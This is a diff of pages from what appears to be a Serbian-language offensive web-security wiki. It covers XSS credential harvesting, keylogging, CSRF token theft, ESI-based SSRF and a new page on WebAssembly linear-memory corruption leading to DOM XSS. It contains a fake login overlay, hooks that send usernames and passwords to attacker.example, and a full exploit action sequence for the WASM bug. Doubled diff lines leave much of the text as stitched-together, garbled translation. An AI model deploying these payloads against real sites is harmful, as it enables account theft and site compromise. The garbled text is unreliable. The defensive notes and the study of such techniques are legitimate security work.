_Kratka vremena označavaju da port odgovara_ _Duža vremena označavaju da nema odgovora._
Pregledajte listu portova zabranjenih u Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Polje za traženje podataka za prijavu
### Polje za unos kredencijala
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1423,11 +1433,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated.
Kada se bilo koji podatak unese u password polje, username i password se šalju na attackers server — čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
Ako je kritični handler (npr., `function DoLogin(){...}`) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši `const` istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati `const` ime, ostavljajući tvoj hook pod kontrolom:
Ako je kritični handler (npr. `function DoLogin(){...}`) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. via an inline JS-in-JS sink), definišite `const` sa istim imenom prvo da preduhitrite i zaključate handler. Kasnije deklaracije funkcija ne mogu ponovo vezati (`rebind`) `const` ime, ostavljajući vaš hook pod kontrolom:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1435,21 +1445,21 @@ const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
```
Notes
- Ovo zavisi od reda izvršavanja: vaša injekcija mora biti izvršena pre legitimne deklaracije.
- Ako je vaš payload zamotan u `eval(...)`, `const/let` vezivanja neće postati globalna. Koristite dinamičku `<script>` injekciju iz sekcije “Deliverable payloads with eval(atob()) and scope nuances” kako biste obezbedili pravi globalni binding koji se ne može ponovo vezati.
- Kada filteri po ključnim rečima blokiraju kod, kombinujte sa Unicode-escaped identifikatorima ili isporukom preko `eval(atob('...'))`, kao što je prikazano gore.
Napomene
- Ovo zavisi od reda izvršavanja: vaš injection mora da se izvrši pre legitimne deklaracije.
- Ako je vaš payload obuhvaćen u `eval(...)`, `const/let` bindings neće postati globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
- Kada keyword filters blokiraju kod, kombinujte sa Unicode-escaped identifiers ili `eval(atob('...'))` delivery, kao što je prikazano iznad.
### Keylogger
Samo pretragom na github-u pronašao sam nekoliko različitih:
Samo pretragom na github-u našao sam nekoliko različitih:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Takođe možete koristiti metasploit `http_javascript_keylogger`
### Krađa CSRF tokena
### Stealing CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1562,7 +1572,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Pristup skrivenom sadržaju
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
Iz [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) može se saznati da, čak i ako neke vrednosti nestanu iz JS, i dalje ih je moguće pronaći u JS atributima različitih objekata. Na primer, unos za REGEX se i dalje može pronaći čak i nakon što je vrednost tog unosa uklonjena:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1586,11 +1596,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS - iskorišćavanje drugih ranjivosti
## XSS — zlopotreba drugih ranjivosti
### XSS u Markdown
### XSS u Markdownu
Može li se ubaciti Markdown kod koji će biti renderovan? Možda možete dobiti XSS! Proveri:
Možeš da ubaciš Markdown kod koji će biti renderovan? Možda tako dobiješ XSS! Proveri:
{{#ref}}
@ -1599,24 +1609,24 @@ xss-in-markdown.md
### XSS u SSRF
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi ga na SSRF** kroz Edge Side Include Injection sa ovim payload:
Imaš XSS na **site-u koji koristi caching**? Pokušaj **nadograditi to u SSRF** kroz Edge Side Include Injection sa ovim payloadom:
```python
<esi:include src="http://yoursite.com/capture" />
```
Koristite ga za zaobilaženje cookie ograničenja, XSS filtera i još mnogo toga!\
Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
Use it to bypass cookie restrictions, XSS filters and much more!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS u dinamički kreiranom PDF-u
### XSS in dynamic created PDF
Ako web stranica kreira PDF koristeći unos koji kontroliše korisnik, možete pokušati da **prevarite bota** koji kreira PDF da počne sa **izvršavanjem proizvoljnog JS koda**.\
Dakle, ako **PDF creator bot pronađe** neke **HTML** **tagove**, on će ih **interpretirati**, i možete ovo **iskoristiti** da prouzrokujete **Server XSS**.
Ako web stranica kreira PDF koristeći korisnički kontrolisan input, možete pokušati da **prevarite bota** koji kreira PDF da **izvrši proizvoljni JS kod**.\
Dakle, ako **bot koji kreira PDF pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **zloupotrebiti** ovo ponašanje da izazovete **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
Ako ne možete da injektujete HTML tagove, možda vredi pokušati da **injektujete PDF podatke**:
Ako ne možete injektovati HTML tagove, može biti vredno pokušati da **injektujete PDF podatke**:
{{#ref}}
@ -1625,15 +1635,15 @@ pdf-injection.md
### XSS in Amp4Email
AMP, namenjen ubrzavanju performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa fokusom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih preko [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, osmišljen da ubrza performanse web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi obezbedio funkcionalnost sa naglaskom na brzinu i bezbednost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP components](https://amp.dev/documentation/components/?format=websites).
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format proširuje specifične AMP komponente na e-mailove, omogućavajući primaocima da direktno unutar svojih poruka interaguju sa sadržajem.
Primer [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS uploading files (svg)
Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Otpremite kao sliku fajl poput sledećeg (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574

133
src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md Normal file
View File

@ -0,0 +1,133 @@
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
{{#include ../../banners/hacktricks-training.md}}
Ova tehnika pokazuje kako bag u korupciji memorije unutar WebAssembly (WASM) modula kompajliranog sa Emscripten može biti iskorišćen za pouzdan DOM XSS čak i kada je unos sanitarisan. Pivot je da se korumpiraju writable konstante u WASM linear memory (npr. HTML format templates) umesto da se napada sanitizovani izvorni string.
Ključna ideja: U WebAssembly modelu, kod živi u neupisivim izvršnim stranicama, ali podaci modula (heap/stack/globals/"constants") žive u jedinstvenoj ravnoj linear memory (stranice od 64KB) koja je upisiva od strane modula. Ako buggy C/C++ kod piše van granica, možete prepisati susedne objekte pa čak i konstantne stringove ugrađene u linear memory. Kada se takva konstanta kasnije koristi za izgradnju HTML-a za umetanje preko DOM sink, možete pretvoriti sanitizovani unos u izvršni JavaScript.
Model pretnje i preduslovi
- Web app koristi Emscripten glue (Module.cwrap) da pozove WASM module.
- Stanje aplikacije živi u WASM linear memory (npr. C structs sa pointerima/lengths ka korisničkim baferima).
- Sistem za sanitaciju unosa enkodira metakaraktere pre čuvanja, ali kasnije prikazivanje gradi HTML koristeći format string smešten u WASM linear memory.
- Postoji primitiv za korupciju linear-memory (npr. heap overflow, UAF, ili unchecked memcpy).
Minimalni model ranjivih podataka (primer)
```c
typedef struct msg {
char *msg_data; // pointer to message bytes
size_t msg_data_len; // length after sanitization
int msg_time; // timestamp
int msg_status; // flags
} msg;
typedef struct stuff {
msg *mess; // dynamic array of msg
size_t size; // used
size_t capacity; // allocated
} stuff; // global chat state in linear memory
```
Ranljiv obrazac logike
- addMsg(): alocira novi bafer veličine sanitizovanog ulaza i dodaje msg u s.mess, udvostručujući kapacitet pomoću realloc kada je potrebno.
- editMsg(): ponovo sanitizuje i kopira nove bajtove u postojeći bafer pomoću memcpy bez provere da je nova dužina ≤ stara alokacija → intra‑linear‑memory heap overflow.
- populateMsgHTML(): formatira sanitizovani tekst sa ugrađenim stubom kao što je "<article><p>%.*s</p></article>" koji se nalazi u linearnoj memoriji. Vraćeni HTML dospeva u DOM sink (npr. innerHTML).
Allocator grooming with realloc()
```c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
```
- Pošaljite dovoljno poruka da premaše početni kapacitet. Nakon rasta, realloc() često postavlja s->mess odmah nakon poslednjeg korisničkog bafera u linear memory.
- Overflow poslednju poruku preko editMsg() da prepišete polja unutar s->mess (npr. overwrite msg_data pointers) → proizvoljna promena pointera u linear memory za podatke koji će kasnije biti renderovani.
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
- Sanitization štiti input, ne sinks. Pronađite format stub koji koristi populateMsgHTML(), npr.:
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
- Pronađite stub deterministički skeniranjem linear memory; to je plain byte string unutar Module.HEAPU8.
- Nakon što prepišete stub, sanitizovani sadržaj poruke postaje JavaScript handler za onerror, tako da dodavanje nove poruke sa tekstom kao alert(1337) daje <img src=1 onerror=alert(1337)> i izvršava se odmah u DOM-u.
Chrome DevTools workflow (Emscripten glue)
- Postavite breakpoint na prvi Module.cwrap poziv u JS glue i uđite u wasm call site da biste uhvatili pointer arguments (numeric offsets into linear memory).
- Koristite typed views kao Module.HEAPU8 za čitanje/pisanje WASM memory iz konzole.
- Helper snippets:
```javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
```
Recept za end-to-end eksploataciju
1) Groom: dodajte N malih poruka da biste pokrenuli realloc(). Osigurajte da je s->mess pored user buffer-a.
2) Overflow: pozovite editMsg() na poslednjoj poruci sa dužim payload-om da prepišete unos u s->mess, postavljajući msg_data poruke 0 da pokazuje na (stub_addr + 1). +1 preskače početni '<' kako bi poravnanje taga ostalo netaknuto tokom sledećeg edit-a.
3) Template rewrite: edit message 0 tako da njegovi bajtovi prepišu template sa: "img src=1 onerror=%.*s ".
4) Trigger XSS: dodajte novu poruku čiji je sanitized sadržaj JavaScript, npr. alert(1337). Pri renderovanju se emituje <img src=1 onerror=alert(1337)> i izvršava.
Primer liste akcija za serijalizaciju i postavljanje u ?s= (Base64-encode with btoa before use)
```json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]
```
Why this bypass works
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
- Sanitizer štiti samo izvorni string; korumpiranjem sinka (the HTML template), sanitizovani input postaje vrednost JS handler-a i izvršava se kada se ubaci u DOM.
- Spajne alokacije nastale zbog realloc() plus nekontrolisani memcpy u edit tokovima omogućavaju korupciju pokazivača koja preusmerava upise na adrese po izboru napadača unutar linearne memorije.
Generalization and other attack surface
- Bilo koji in-memory HTML template, JSON skeleton, or URL pattern ugrađen u linearnu memoriju može biti meta za promenu načina na koji se sanitizovani podaci interpretiraju nizvodno.
- Drugi uobičajeni WASM zamke: out-of-bounds writes/reads u linearnoj memoriji, UAF na heap objektima, function-table misuse sa nekontrolisanim indeksima indirektnih poziva, i JS↔WASM glue mismatches.
Defensive guidance
- U edit tokovima, proverite new length ≤ capacity; resize buffere pre copy (realloc to new_len) ili koristite size-bounded APIs (snprintf/strlcpy) i pratite capacity.
- Držite immutable templates izvan writable linear memory ili proveravajte njihov integritet pre upotrebe.
- Smatrajte JS↔WASM granice nepoverljivim: validirajte pointer ranges/lengths, fuzz exported interfaces, i ograničite memory growth.
- Sanitize at the sink: izbegavajte gradnju HTML u WASM; preferirajte safe DOM APIs umesto innerHTML-style templating.
- Izbegavajte poveravanje URL-embedded state za privileged flows.
## References
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
{{#include ../../banners/hacktricks-training.md}}